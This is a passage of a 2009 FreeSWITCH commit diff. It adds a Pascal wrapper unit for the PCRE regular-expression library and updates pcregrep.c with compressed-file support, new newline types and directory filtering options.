+			     PCRE_NOTEMPTY + PCRE_NO_UTF8_CHECK + PCRE_PARTIAL
+			     {$IFDEF PCRE_7_0}
+			     + PCRE_NEWLINE_BITS
+			     {$ENDIF}
+			     {$IFDEF PCRE_7_7}
+			     + PCRE_BSR_ANYCRLF + PCRE_BSR_UNICODE
+			     {$ENDIF}
+			     ;
+
+{$IFDEF PCRE_7_0}
+ PCRE_DFA_EXEC_ALLOWED_OPTIONS = PCRE_ANCHORED + PCRE_NOTBOL + PCRE_NOTEOL +
+				 PCRE_NOTEMPTY + PCRE_NO_UTF8_CHECK + PCRE_PARTIAL +
+				 PCRE_DFA_SHORTEST + PCRE_DFA_RESTART +
+				 PCRE_NEWLINE_BITS
+				 {$IFDEF PCRE_7_7}
+				 + PCRE_BSR_ANYCRLF + PCRE_BSR_UNICODE
+				 {$ENDIF}
+				 ;
+{$ENDIF}
+
+{ Exec-time and get/set-time error codes }
+ PCRE_ERROR_NOMATCH        =  -1;
+ PCRE_ERROR_NULL	   =  -2;
+ PCRE_ERROR_BADOPTION      =  -3;
+ PCRE_ERROR_BADMAGIC       =  -4;
+ PCRE_ERROR_UNKNOWN_MODE   =  -5;
+ PCRE_ERROR_NOMEMORY       =  -6;
+ PCRE_ERROR_NOSUBSTRING    =  -7;
+{$IFDEF PCRE_5_0}
+ PCRE_ERROR_MATCHLIMIT     =  -8;
+ PCRE_ERROR_CALLOUT        =  -9;  { Never used by PCRE itself }
+ PCRE_ERROR_BADUTF8        = -10;
+ PCRE_ERROR_BADUTF8_OFFSET = -11;
+ PCRE_ERROR_PARTIAL        = -12;
+ PCRE_ERROR_BADPARTIAL     = -13;
+ PCRE_ERROR_INTERNAL       = -14;
+ PCRE_ERROR_BADCOUNT       = -15;
+{$ENDIF}
+{$IFDEF PCRE_7_0}
+ PCRE_ERROR_DFA_UITEM      = -16;
+ PCRE_ERROR_DFA_UCOND      = -17;
+ PCRE_ERROR_DFA_UMLIMIT    = -18;
+ PCRE_ERROR_DFA_WSSIZE     = -19;
+ PCRE_ERROR_DFA_RECURSE    = -20;
+ PCRE_ERROR_RECURSIONLIMIT = -21;
+ PCRE_ERROR_NULLWSLIMIT    = -22;
+ PCRE_ERROR_BADNEWLINE     = -23;
+{$ENDIF}
+
+{ Request types for pcre_fullinfo() }
+
+ PCRE_INFO_OPTIONS         =  0;
+ PCRE_INFO_SIZE 	   =  1;
+ PCRE_INFO_CAPTURECOUNT    =  2;
+ PCRE_INFO_BACKREFMAX      =  3;
+ PCRE_INFO_FIRSTBYTE       =  4;
+ PCRE_INFO_FIRSTCHAR       =  4; { For backwards compatibility }
+ PCRE_INFO_FIRSTTABLE      =  5;
+{$IFDEF PCRE_5_0}
+ PCRE_INFO_LASTLITERAL     =  6;
+ PCRE_INFO_NAMEENTRYSIZE   =  7;
+ PCRE_INFO_NAMECOUNT       =  8;
+ PCRE_INFO_NAMETABLE       =  9;
+ PCRE_INFO_STUDYSIZE       = 10;
+ PCRE_INFO_DEFAULT_TABLES  = 11;
+{$ENDIF PCRE_5_0}
+{$IFDEF PCRE_7_7}
+ PCRE_INFO_OKPARTIAL       = 12;
+ PCRE_INFO_JCHANGED        = 13;
+ PCRE_INFO_HASCRORLF       = 14;
+{$ENDIF}
+
+{ Request types for pcre_config() }
+{$IFDEF PCRE_5_0}
+ PCRE_CONFIG_UTF8       	    = 0;
+ PCRE_CONFIG_NEWLINE    	    = 1;
+ PCRE_CONFIG_LINK_SIZE  	    = 2;
+ PCRE_CONFIG_POSIX_MALLOC_THRESHOLD = 3;
+ PCRE_CONFIG_MATCH_LIMIT	    = 4;
+ PCRE_CONFIG_STACKRECURSE           = 5;
+ PCRE_CONFIG_UNICODE_PROPERTIES     = 6;
+{$ENDIF PCRE_5_0}
+{$IFDEF PCRE_7_0}
+ PCRE_CONFIG_MATCH_LIMIT_RECURSION  = 7;
+{$ENDIF}
+{$IFDEF PCRE_7_7}
+ PCRE_CONFIG_BSR		    = 8;
+{$ENDIF}
+
+{ Bit flags for the pcre_extra structure }
+{$IFDEF PCRE_5_0}
+ PCRE_EXTRA_STUDY_DATA  	  = $0001;
+ PCRE_EXTRA_MATCH_LIMIT 	  = $0002;
+ PCRE_EXTRA_CALLOUT_DATA	  = $0004;
+ PCRE_EXTRA_TABLES      	  = $0008;
+{$ENDIF PCRE_5_0}
+{$IFDEF PCRE_7_0}
+ PCRE_EXTRA_MATCH_LIMIT_RECURSION = $0010;
+{$ENDIF}
+
+Const
+// DefaultOptions : integer = 0;
+ DefaultLocaleTable : pointer = nil;
+
+{$IFDEF PCRE_5_0}
+{ The structure for passing additional data to pcre_exec(). This is defined in
+such as way as to be extensible. Always add new fields at the end, in order to
+remain compatible. }
+
+type ppcre_extra = ^tpcre_extra;
+     tpcre_extra = record
+       flags : longint; 	       { Bits for which fields are set }
+       study_data : pointer;           { Opaque data from pcre_study() }
+       match_limit : longint;          { Maximum number of calls to match() }
+       callout_data : pointer;         { Data passed back in callouts }
+       tables : pointer;	       { Pointer to character tables }
+       match_limit_recursion: longint; { Max recursive calls to match() }
+     end;
+
+type ppcre_callout_block = ^pcre_callout_block;
+     pcre_callout_block = record
+       version,
+  (* ------------------------ Version 0 ------------------------------- *)
+       callout_number : integer;
+       offset_vector : pointer;
+       subject : pchar;
+       subject_length, start_match, current_position, capture_top,
+       capture_last : integer;
+       callout_data : pointer;
+  (* ------------------- Added for Version 1 -------------------------- *)
+       pattern_position, next_item_length : integer;
+     end;
+{$ENDIF PCRE_5_0}
+
+{$OrgName+}
+{$IFDEF VIRTUALPASCAL} {&Cdecl+} {$ENDIF VIRTUALPASCAL}
+
+ { local replacement of external pcre memory management functions }
+ function pcre_malloc( size : integer ) : pointer;
+ procedure pcre_free( {var} p : pointer );
+{$IFDEF PCRE_5_0}
+ const pcre_stack_malloc: function ( size : integer ): pointer = pcre_malloc;
+       pcre_stack_free: procedure ( {var} p : pointer ) = pcre_free;
+ function pcre_callout(var p : ppcre_callout_block) : integer;
+{$ENDIF PCRE_5_0}
+{$IFDEF VIRTUALPASCAL} {&Cdecl-} {$ENDIF VIRTUALPASCAL}
+
+Implementation
+
+Uses strings, collect, messages, dnapp, commands, advance0, stringsx
+    {$IFDEF VIRTUALPASCAL} ,vpsyslow {$ENDIF VIRTUALPASCAL};
+
+Const
+ MAGIC_NUMBER = $50435245; { 'PCRE' }
+ MAX_MATCHES = 90; { changed in 3.5 version; should be divisible by 3, was 64}
+
+Type
+ PMatchArray = ^TMatchArray;
+ TMatchArray = array[0..( MAX_MATCHES * 3 )] of integer;
+
+ PRegExpCollection = ^TRegExpCollection;
+ TRegExpCollection =  object(TSortedCollection)
+   MaxRegExp : integer;
+   SearchRegExp : shortstring;
+   CompareModeInsert : boolean;
+   constructor Init(AMaxRegExp:integer);
+   procedure FreeItem(P: Pointer); virtual;
+   function  Compare(P1, P2: Pointer): Integer; virtual;
+   function  Find(ARegExp:shortstring;var P: PpcRegExp):boolean; virtual;
+   function CheckNew(ARegExp:shortstring):PpcRegExp;virtual;
+ end;
+
+Var
+ PRegExpCache : PRegExpCollection;
+
+
+{$IFDEF VIRTUALPASCAL} {&Cdecl+} {$ENDIF VIRTUALPASCAL}
+
+ { imported original pcre functions }
+
+ function pcre_compile( const pattern : PChar; options : integer;
+			var errorptr : PChar; var erroroffset : integer;
+			const tables : PChar ) : pointer {pcre}; external;
+{$IFDEF PCRE_7_0}
+ function pcre_compile2( const pattern : PChar; options : integer;
+			 var errorcodeptr : Integer;
+			 var errorptr : PChar; var erroroffset : integer;
+			 const tables : PChar ) : pointer {pcre}; external;
+{$ENDIF}
+{$IFDEF PCRE_5_0}
+ function pcre_config( what : integer; where : pointer) : integer; external;
+ function pcre_copy_named_substring( const code : pointer {pcre};
+				     const subject : pchar;
+				     var ovector : integer;
+				     stringcount : integer;
+				     const stringname : pchar;
+				     var buffer : pchar;
+				     size : integer) : integer; external;
+ function pcre_copy_substring( const subject : pchar; var ovector : integer;
+			       stringcount, stringnumber : integer;
+			       var buffer : pchar; size : integer )
+			       : integer; external;
+ function pcre_exec( const argument_re : pointer {pcre};
+		     const extra_data : pointer {pcre_extra};
+{$ELSE}
+ function pcre_exec( const external_re : pointer;
+		     const external_extra : pointer;
+{$ENDIF}
+		     const subject : PChar;
+		     length, start_offset, options : integer;
+		     offsets : pointer;
+		     offsetcount : integer ) : integer; external;
+{$IFDEF PCRE_7_0}
+ function pcre_dfa_exec( const argument_re : pointer {pcre};
+			 const extra_data : pointer {pcre_extra};
+			 const subject : pchar;
+			 length, start_offset, options : integer;
+			 offsets : pointer;
+			 offsetcount : integer;
+			 workspace : pointer;
+			 wscount : integer ) : integer; external;
+{$ENDIF}
+{$IFDEF PCRE_5_0}
+ procedure pcre_free_substring( const p : pchar ); external;
+ procedure pcre_free_substring_list( var p : pchar ); external;
+ function pcre_fullinfo( const argument_re : pointer {pcre};
+			 const extra_data : pointer {pcre_extra};
+			 what : integer;
+			 where : pointer ) : integer; external;
+ function pcre_get_named_substring( const code : pointer {pcre};
+				    const subject : pchar;
+				    var ovector : integer;
+				    stringcount : integer;
+				    const stringname : pchar;
+				    var stringptr : pchar ) : integer; external;
+ function pcre_get_stringnumber( const code : pointer {pcre};
+				 const stringname : pchar ) : integer; external;
+ function pcre_get_stringtable_entries( const code : pointer {pcre};
+					const stringname : pchar;
+					var firstptr,
+					    lastptr : pchar ) : integer; external;
+ function pcre_get_substring( const subject : pchar; var ovector : integer;
+			      stringcount, stringnumber : integer;
+			      var stringptr : pchar ) : integer; external;
+ function pcre_get_substring_list( const subject : pchar; var ovector : integer;
+				   stringcount : integer;
+				   listptr : pointer {const char ***listptr}) : integer; external;
+ function pcre_info( const argument_re : pointer {pcre};
+		     var optptr : integer;
+		     var first_byte : integer ) : integer; external;
+ function pcre_maketables : pchar; external;
+{$ENDIF}
+{$IFDEF PCRE_7_0}
+ function pcre_refcount( const argument_re : pointer {pcre};
+			 adjust : integer ) : pchar; external;
+{$ENDIF}
+ function pcre_study( const external_re : pointer {pcre};
+		      options : integer;
+		      var errorptr : PChar ) : pointer {pcre_extra}; external;
+{$IFDEF PCRE_5_0}
+ function pcre_version : pchar; external;
+{$ENDIF}
+
+ function pcre_malloc( size : integer ) : pointer;
+ begin
+  GetMem( result, size );
+ end;
+
+ procedure pcre_free( {var} p : pointer );
+ begin
+  if (p <> nil) then
+    FreeMem( p, 0 );
+  {@p := nil;}
+ end;
+
+{$IFDEF PCRE_5_0}
+(* Called from PCRE as a result of the (?C) item. We print out where we are in
+the match. Yield zero unless more callouts than the fail count, or the callout
+data is not zero. *)
+
+ function pcre_callout;
+ begin
+ end;
+{$ENDIF}
+
+{$IFDEF VIRTUALPASCAL} {&Cdecl-} {$ENDIF VIRTUALPASCAL}
+
+// Always include the newest version of the library
+{$IFDEF PCRE_7_7}
+  {$L pcre77.lib}
+{$ELSE}
+  {$IFDEF PCRE_7_0}
+    {$L pcre70.lib}
+  {$ELSE}
+    {$IFDEF PCRE_5_0}
+      {$L pcre50.lib}
+    {$ELSE}
+      {$IFDEF PCRE_3_7}
+	{$L pcre37.lib}
+      {$ENDIF PCRE_3_7}
+    {$ENDIF PCRE_5_0}
+  {$ENDIF PCRE_7_0}
+{$ENDIF PCRE_7_7}
+
+{TpcRegExp}
+
+ constructor TpcRegExp.Init(const ARegExp:shortstring; AOptions:integer; ALocale : Pointer);
+ var
+  pRegExp : PChar;
+ begin
+  RegExp:=ARegExp;
+  RegExpC:=nil;
+  RegExpExt:=nil;
+  Matches:=nil;
+  MatchesCount:=0;
+  Error:=true;
+  ErrorMsg:=nil;
+  ErrorPos:=0;
+  RunTimeOptions := 0;
+  if length(RegExp) < 255 then
+   begin
+    RegExp[length(RegExp)+1]:=#0;
+    pRegExp:=@RegExp[1];
+   end
+  else
+   begin
+    GetMem(pRegExp,length(RegExp)+1);
+    pRegExp:=strpcopy(pRegExp,RegExp);
+   end;
+  RegExpC := pcre_compile( pRegExp,
+			   AOptions and PCRE_COMPILE_ALLOWED_OPTIONS,
+			   ErrorMsg, ErrorPos, ALocale);
+  if length(RegExp) = 255 then
+   StrDispose(pRegExp);
+  if RegExpC = nil then
+   exit;
+  ErrorMsg:=nil;
+  RegExpExt := pcre_study( RegExpC, 0, ErrorMsg );
+  if (RegExpExt = nil) and (ErrorMsg <> nil) then
+   begin
+    pcre_free(RegExpC);
+    exit;
+   end;
+  GetMem(Matches,SizeOf(TMatchArray));
+  Error:=false;
+ end;
+
+ destructor TpcRegExp.Done;
+ begin
+  if RegExpC <> nil then
+    pcre_free(RegExpC);
+  if RegExpExt <> nil then
+    pcre_free(RegExpExt);
+  if Matches <> nil then
+    FreeMem(Matches,SizeOf(TMatchArray));
+ end;
+
+ function TpcRegExp.SearchNext( AStr: Pchar; ALen : longint ) : boolean;
+ var Options: Integer;
+ begin // must handle PCRE_ERROR_PARTIAL here
+  Options := (RunTimeOptions or startup.MiscMultiData.cfgRegEx.DefaultOptions) and
+	     PCRE_EXEC_ALLOWED_OPTIONS;
+  if MatchesCount > 0 then
+    MatchesCount:=pcre_exec( RegExpC, RegExpExt, AStr, ALen, PMatchArray(Matches)^[1],
+			     Options, Matches, MAX_MATCHES ) else
+    MatchesCount:=pcre_exec( RegExpC, RegExpExt, AStr, ALen, 0,
+			     Options, Matches, MAX_MATCHES );
+{  if MatchesCount = 0 then
+    MatchesCount := MatchesCount div 3;}
+  PartialMatch := MatchesCount = PCRE_ERROR_PARTIAL;
+  SearchNext := MatchesCount > 0;
+ end;
+
+ function TpcRegExp.Search( AStr: Pchar; ALen : longint):boolean;
+ begin
+  MatchesCount:=0;
+  Search:=SearchNext(AStr,ALen);
+  SourceLen:=ALen;
+ end;
+
+ function TpcRegExp.SearchOfs( AStr: Pchar; ALen, AOfs: longint ) : boolean;
+ var Options: Integer;
+ begin
+  MatchesCount:=0;
+  Options := (RunTimeOptions or startup.MiscMultiData.cfgRegEx.DefaultOptions) and
+	     PCRE_EXEC_ALLOWED_OPTIONS;
+  MatchesCount:=pcre_exec( RegExpC, RegExpExt, AStr, ALen, AOfs,
+			   Options, Matches, MAX_MATCHES );
+  PartialMatch := MatchesCount = PCRE_ERROR_PARTIAL;
+  SearchOfs := MatchesCount > 0;
+  SourceLen := ALen-AOfs;
+ end;
+
+ function TpcRegExp.MatchSub(ANom:integer; var Pos,Len:longint):boolean;
+ begin
+  if (MatchesCount > 0) and (ANom <= (MatchesCount-1)) then
+   begin
+    ANom:=ANom*2;
+    Pos:=PMatchArray(Matches)^[ANom];
+    Len:=PMatchArray(Matches)^[ANom+1]-Pos;
+    MatchSub:=true;
+   end
+  else
+   MatchSub:=false;
+ end;
+
+ function TpcRegExp.MatchFull(var Pos,Len:longint):boolean;
+ begin
+  MatchFull:=MatchSub(0,Pos,Len);
+ end;
+
+ function TpcRegExp.GetSubStr(ANom: integer; AStr: Pchar):string;
+ var
+  s: ansistring;
+  pos,len: longint;
+ begin
+  s:='';
+  if MatchSub(ANom, pos, len) then
+   begin
+    setlength(s, len);
+    Move(AStr[pos], s[1], len);
+   end;
+  GetSubStr:=s;
+ end;
+
+ function TpcRegExp.GetPreSubStr(AStr: Pchar):string;
+ var
+  s: ansistring;
+  l: longint;
+ begin
+  s:='';
+  if (MatchesCount > 0) then
+   begin
+    l:=PMatchArray(Matches)^[0]-1;
+    if l > 0 then
+     begin
+      setlength(s,l);
+      Move(AStr[1],s[1],l);
+     end;
+   end;
+  GetPreSubStr:=s;
+ end;
+
+ function TpcRegExp.GetPostSubStr(AStr: Pchar):string;
+ var
+  s: ansistring;
+  l: longint;
+  ANom: integer;
+ begin
+  s:='';
+  if (MatchesCount > 0) then
+   begin
+    ANom:=(MatchesCount-1){*2} shl 1;
+    l:=SourceLen-PMatchArray(Matches)^[ANom+1]+1;
+    if l > 0 then
+     begin
+      setlength(s,l);
+      Move(AStr[PMatchArray(Matches)^[ANom+1]],s[1],l);
+     end;
+   end;
+  GetPostSubStr:=s;
+ end;
+
+
+ function TpcRegExp.GetFullStr(AStr: Pchar):string;
+ var
+  s: ansistring;
+  l: longint;
+ begin
+  GetFullStr:=GetSubStr(0,AStr);
+ end;
+
+ function TpcRegExp.GetReplStr(AStr: Pchar; const ARepl: string):string;
+ var
+  s: ansistring;
+  l,i,lasti: longint;
+ begin
+  l:=length(ARepl);
+  i:=1;
+  lasti:=1;
+  s:='';
+  while i <= l do
+   begin
+    case ARepl[i] of
+     '\' :
+      begin
+       if i < l then
+	begin
+	 s:=s+copy(ARepl,lasti,i-lasti){+ARepl[i+1]};
+	 {AH 17-10-05 support for POSIX \1-\9 backreferences}
+	 case ARepl[i+1] of
+	  '0' : s:=s+GetFullStr(AStr);
+	  '1'..'9' : s:=s+GetSubStr(ord(ARepl[i+1])-ord('0'),AStr);
+	  else s:=s+ARepl[i+1]; // copy the escaped character
+	 end;
+	end;
+       inc(i);
+       lasti:=i+1;
+      end;
+     '$' :
+      begin
+       if i < l then
+	begin
+	 s:=s+copy(ARepl,lasti,i-lasti);
+	 case ARepl[i+1] of
+	  '&' : s:=s+GetFullStr(AStr);
+	  '1'..'9' : s:=s+GetSubStr(ord(ARepl[i+1])-ord('0'),AStr);
+	  '`' : s:=s+GetPreSubStr(AStr);
+	  #39 : s:=s+GetPostSubStr(AStr);
+	 end;
+	end;
+       inc(i);
+       lasti:=i+1;
+      end;
+    end;
+    inc(i);
+   end;
+  if lasti <= {AH 25-10-2004 added =, else l==1 won't work} l then
+    s:=s+copy(ARepl,lasti,l-lasti+1);
+  GetReplStr:=s;
+ end;
+
+ function TpcRegExp.ErrorStr:string;
+  begin
+   ErrorStr:=StrPas(ErrorMsg);
+  end;
+
+{TRegExpCollection}
+
+constructor TRegExpCollection.Init(AMaxRegExp: integer);
+begin
+ Inherited Init(1,1);
+ MaxRegExp:=AMaxRegExp;
+ CompareModeInsert:=true;
+end;
+
+procedure TRegExpCollection.FreeItem(P: Pointer);
+begin
+ if P <> nil then
+  begin
+   Dispose(PpcRegExp(P),Done);
+  end;
+end;
+
+function  TRegExpCollection.Compare(P1, P2: Pointer): Integer;
+//var
+// l,l1,l2,i : byte;
+//// wPos: pchar;
+begin
+ if CompareModeInsert then
+  begin
+//   l1:=length(PpcRegExp(P1)^.RegExp);
+//   l2:=length(PpcRegExp(P2)^.RegExp);
+//   if l1 > l2 then l:=l2 else
+//      	     l:=l1;
+//   for i:=1 to l do
+//     if PpcRegExp(P1).RegExp[i] <> PpcRegExp(P2).RegExp[i] then break;
+//   if i <=l then
+//     Compare:=ord(PpcRegExp(P1).RegExp[i])-ord(PpcRegExp(P2).RegExp[i]) else
+//     Compare:=l1-l2;
+    Compare := stringsx.PasStrCmp(PpcRegExp(P1).RegExp, PpcRegExp(P2).RegExp, False);
+  end
+ else
+  begin
+//   l1:=length(PpcRegExp(P1)^.RegExp);
+//   l2:=length(SearchRegExp);
+//   if l1 > l2 then l:=l2 else
+//      	     l:=l1;
+//   for i:=1 to l do
+//     if PpcRegExp(P1).RegExp[i] <> SearchRegExp[i] then
+//     begin
+//       Compare:=ord(PpcRegExp(P1).RegExp[i])-ord(SearchRegExp[i]);
+//       break;
+//     end;
+//   if i > l then Compare:=l1-l2;
+    Compare := stringsx.PasStrCmp(PpcRegExp(P1).RegExp, SearchRegExp, False);
+  end;
+end;
+
+function  TRegExpCollection.Find(ARegExp:shortstring;var P: PpcRegExp):boolean;
+var I : integer;
+begin
+ CompareModeInsert:=false;
+ SearchRegExp:=ARegExp;
+ if Search(nil,I) then
+  begin
+   P:=PpcRegExp(At(I));
+   Find:=true;
+  end
+ else
+  begin
+   P:=nil;
+   Find:=false;
+  end;
+ CompareModeInsert:=true;
+end;
+
+function TRegExpCollection.CheckNew(ARegExp:shortstring):PpcRegExp;
+var
+ P : PpcRegExp;
+begin
+ if not Find(ARegExp,P) then
+  begin
+   if Count = MaxRegExp then
+    AtFree(0);
+   P:=New(ppcRegExp,Init(ARegExp,PCRE_CASELESS,nil));
+   Insert(P);
+  end;
+ CheckNew:=P;
+end;
+
+function pcGrepMatch(WildCard, aStr: string; AOptions:integer; ALocale : Pointer): Boolean;
+var
+ PpcRE:PpcRegExp;
+begin
+ PpcRE:=New(ppcRegExp,Init(WildCard,AOptions,Alocale));
+ pcGrepMatch:=PpcRE^.Search(pchar(AStr),Length(AStr));
+ Dispose(PpcRE,Done);
+end;
+
+function pcGrepSub(WildCard, aStr, aRepl: string; AOptions:integer; ALocale : Pointer): string;
+var
+ PpcRE:PpcRegExp;
+begin
+ PpcRE:=New(ppcRegExp,Init(WildCard,AOptions,Alocale));
+ if PpcRE^.Search(pchar(AStr),Length(AStr)) then
+  pcGrepSub:=PpcRE^.GetReplStr(pchar(AStr),ARepl)
+ else
+  pcGrepSub:='';
+ Dispose(PpcRE,Done);
+end;
+
+function pcFastGrepMatch(WildCard, aStr: string): Boolean;
+var
+ PpcRE:PpcRegExp;
+begin
+ PpcRE:=PRegExpCache^.CheckNew(WildCard);
+ pcFastGrepMatch:=PpcRE^.Search(pchar(AStr),Length(AStr));
+end;
+
+function pcFastGrepSub(WildCard, aStr, aRepl: string): string;
+var
+ PpcRE:PpcRegExp;
+begin
+ PpcRE:=PRegExpCache^.CheckNew(WildCard);
+ if PpcRE^.Search(pchar(AStr),Length(AStr)) then
+  pcFastGrepSub:=PpcRE^.GetReplStr(pchar(AStr),ARepl)
+ else
+  pcFastGrepSub:='';
+end;
+
+{$IFDEF PCRE_5_0}
+function pcGetVersion : pchar; assembler; {$FRAME-}{$USES none}
+asm
+  call pcre_version
+end;
+{$ENDIF PCRE_5_0}
+
+function pcError;
+var P: ppcRegExp absolute pRegExp;
+begin
+  Result := (P = nil) or P^.Error;
+  If Result and (P <> nil) then
+  begin
+{     if P^.ErrorPos = 0 then
+      MessageBox(GetString(erRegExpCompile)+'"'+P^.ErrorStr+'"', nil,mfConfirmation+mfOkButton)
+    else}
+      MessageBox(GetString(erRegExpCompile)+'"'+P^.ErrorStr+'"'+GetString(erRegExpCompPos),
+		 @P^.ErrorPos,mfConfirmation+mfOkButton);
+    Dispose(P, Done);
+    P:=nil;
+  end;
+end;
+
+function pcInit;
+var Options : Integer;
+begin
+  If CaseSens then Options := 0 else Options := PCRE_CASELESS;
+  Result := New( PpcRegExp, Init( Pattern,
+				  {DefaultOptions}
+				  startup.MiscMultiData.cfgRegEx.DefaultOptions or Options,
+				  DefaultLocaleTable) );
+end;
+
+Initialization
+ PRegExpCache:=New(PRegExpCollection,Init(64));
+Finalization
+ Dispose(PRegExpCache,Done);
+End.

Modified: freeswitch/branches/seven/libs/pcre/pcregrep.c (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcregrep.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcregrep.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,7 +6,7 @@
 its pattern matching. On a Unix or Win32 system it can recurse into
 directories.
 
-           Copyright (c) 1997-2006 University of Cambridge
+           Copyright (c) 1997-2009 University of Cambridge
 
 -----------------------------------------------------------------------------
 Redistribution and use in source and binary forms, with or without
@@ -37,6 +37,10 @@
 -----------------------------------------------------------------------------
 */
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include <ctype.h>
 #include <locale.h>
 #include <stdio.h>
@@ -46,9 +50,19 @@
 
 #include <sys/types.h>
 #include <sys/stat.h>
+
+#ifdef HAVE_UNISTD_H
 #include <unistd.h>
+#endif
 
-#include "config.h"
+#ifdef SUPPORT_LIBZ
+#include <zlib.h>
+#endif
+
+#ifdef SUPPORT_LIBBZ2
+#include <bzlib.h>
+#endif
+
 #include "pcre.h"
 
 #define FALSE 0
@@ -56,8 +70,8 @@
 
 typedef int BOOL;
 
-#define VERSION "4.3 01-Jun-2006"
 #define MAX_PATTERN_COUNT 100
+#define OFFSET_SIZE 99
 
 #if BUFSIZ > 8192
 #define MBUFTHIRD BUFSIZ
@@ -65,13 +79,16 @@
 #define MBUFTHIRD 8192
 #endif
 
-
 /* Values for the "filenames" variable, which specifies options for file name
 output. The order is important; it is assumed that a file name is wanted for
 all values greater than FN_DEFAULT. */
 
 enum { FN_NONE, FN_DEFAULT, FN_ONLY, FN_NOMATCH_ONLY, FN_FORCE };
 
+/* File reading styles */
+
+enum { FR_PLAIN, FR_LIBZ, FR_LIBBZ2 };
+
 /* Actions for the -d and -D options */
 
 enum { dee_READ, dee_SKIP, dee_RECURSE };
@@ -83,8 +100,12 @@
 #define PO_LINE_MATCH     0x0002
 #define PO_FIXED_STRINGS  0x0004
 
+/* Line ending types */
 
+enum { EL_LF, EL_CR, EL_CRLF, EL_ANY, EL_ANYCRLF };
 
+
+
 /*************************************************
 *               Global variables                 *
 *************************************************/
@@ -100,8 +121,7 @@
 static const char *jfriedl_postfix = "";
 #endif
 
-static int  endlinebyte = '\n';     /* Last byte of endline sequence */
-static int  endlineextra = 0;       /* Extra bytes for endline sequence */
+static int  endlinetype;
 
 static char *colour_string = (char *)"1;31";
 static char *colour_option = NULL;
@@ -115,14 +135,18 @@
 static const unsigned char *pcretables = NULL;
 
 static int  pattern_count = 0;
-static pcre **pattern_list;
-static pcre_extra **hints_list;
+static pcre **pattern_list = NULL;
+static pcre_extra **hints_list = NULL;
 
 static char *include_pattern = NULL;
 static char *exclude_pattern = NULL;
+static char *include_dir_pattern = NULL;
+static char *exclude_dir_pattern = NULL;
 
 static pcre *include_compiled = NULL;
 static pcre *exclude_compiled = NULL;
+static pcre *include_dir_compiled = NULL;
+static pcre *exclude_dir_compiled = NULL;
 
 static int after_context = 0;
 static int before_context = 0;
@@ -135,13 +159,16 @@
 
 static BOOL count_only = FALSE;
 static BOOL do_colour = FALSE;
+static BOOL file_offsets = FALSE;
 static BOOL hyphenpending = FALSE;
 static BOOL invert = FALSE;
+static BOOL line_offsets = FALSE;
 static BOOL multiline = FALSE;
 static BOOL number = FALSE;
 static BOOL only_matching = FALSE;
 static BOOL quiet = FALSE;
 static BOOL silent = FALSE;
+static BOOL utf8 = FALSE;
 
 /* Structure for options and list of them */
 
@@ -159,13 +186,17 @@
 /* Options without a single-letter equivalent get a negative value. This can be
 used to identify them. */
 
-#define N_COLOUR    (-1)
-#define N_EXCLUDE   (-2)
-#define N_HELP      (-3)
-#define N_INCLUDE   (-4)
-#define N_LABEL     (-5)
-#define N_LOCALE    (-6)
-#define N_NULL      (-7)
+#define N_COLOUR       (-1)
+#define N_EXCLUDE      (-2)
+#define N_EXCLUDE_DIR  (-3)
+#define N_HELP         (-4)
+#define N_INCLUDE      (-5)
+#define N_INCLUDE_DIR  (-6)
+#define N_LABEL        (-7)
+#define N_LOCALE       (-8)
+#define N_NULL         (-9)
+#define N_LOFFSETS     (-10)
+#define N_FOFFSETS     (-11)
 
 static option_item optionlist[] = {
   { OP_NODATA,    N_NULL,   NULL,              "",              "  terminate options" },
@@ -181,21 +212,25 @@
   { OP_PATLIST,   'e',      NULL,              "regex(p)",      "specify pattern (may be used more than once)" },
   { OP_NODATA,    'F',      NULL,              "fixed_strings", "patterns are sets of newline-separated strings" },
   { OP_STRING,    'f',      &pattern_filename, "file=path",     "read patterns from file" },
+  { OP_NODATA,    N_FOFFSETS, NULL,            "file-offsets",  "output file offsets, not text" },
   { OP_NODATA,    'H',      NULL,              "with-filename", "force the prefixing filename on output" },
   { OP_NODATA,    'h',      NULL,              "no-filename",   "suppress the prefixing filename on output" },
   { OP_NODATA,    'i',      NULL,              "ignore-case",   "ignore case distinctions" },
   { OP_NODATA,    'l',      NULL,              "files-with-matches", "print only FILE names containing matches" },
   { OP_NODATA,    'L',      NULL,              "files-without-match","print only FILE names not containing matches" },
   { OP_STRING,    N_LABEL,  &stdin_name,       "label=name",    "set name for standard input" },
+  { OP_NODATA,    N_LOFFSETS, NULL,            "line-offsets",  "output line numbers and offsets, not text" },
   { OP_STRING,    N_LOCALE, &locale,           "locale=locale", "use the named locale" },
   { OP_NODATA,    'M',      NULL,              "multiline",     "run in multiline mode" },
-  { OP_STRING,    'N',      &newline,          "newline=type",  "specify newline type (CR, LR, CRLF)" },
+  { OP_STRING,    'N',      &newline,          "newline=type",  "set newline type (CR, LF, CRLF, ANYCRLF or ANY)" },
   { OP_NODATA,    'n',      NULL,              "line-number",   "print line number with output lines" },
   { OP_NODATA,    'o',      NULL,              "only-matching", "show only the part of the line that matched" },
   { OP_NODATA,    'q',      NULL,              "quiet",         "suppress output, just set return code" },
   { OP_NODATA,    'r',      NULL,              "recursive",     "recursively scan sub-directories" },
   { OP_STRING,    N_EXCLUDE,&exclude_pattern,  "exclude=pattern","exclude matching files when recursing" },
   { OP_STRING,    N_INCLUDE,&include_pattern,  "include=pattern","include matching files when recursing" },
+  { OP_STRING,    N_EXCLUDE_DIR,&exclude_dir_pattern, "exclude_dir=pattern","exclude matching directories when recursing" },
+  { OP_STRING,    N_INCLUDE_DIR,&include_dir_pattern, "include_dir=pattern","include matching directories when recursing" },
 #ifdef JFRIEDL_DEBUG
   { OP_OP_NUMBER, 'S',      &S_arg,            "jeffS",         "replace matched (sub)string with X" },
 #endif
@@ -219,8 +254,18 @@
 static const char *suffix[] = {
   "", "\\b", ")$",   ")$",   "\\E", "\\E\\b", "\\E)$",   "\\E)$" };
 
+/* UTF-8 tables - used only when the newline setting is "any". */
 
+const int utf8_table3[] = { 0xff, 0x1f, 0x0f, 0x07, 0x03, 0x01};
 
+const char utf8_table4[] = {
+  1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
+  1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
+  2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,
+  3,3,3,3,3,3,3,3,4,4,4,4,5,5,5,5 };
+
+
+
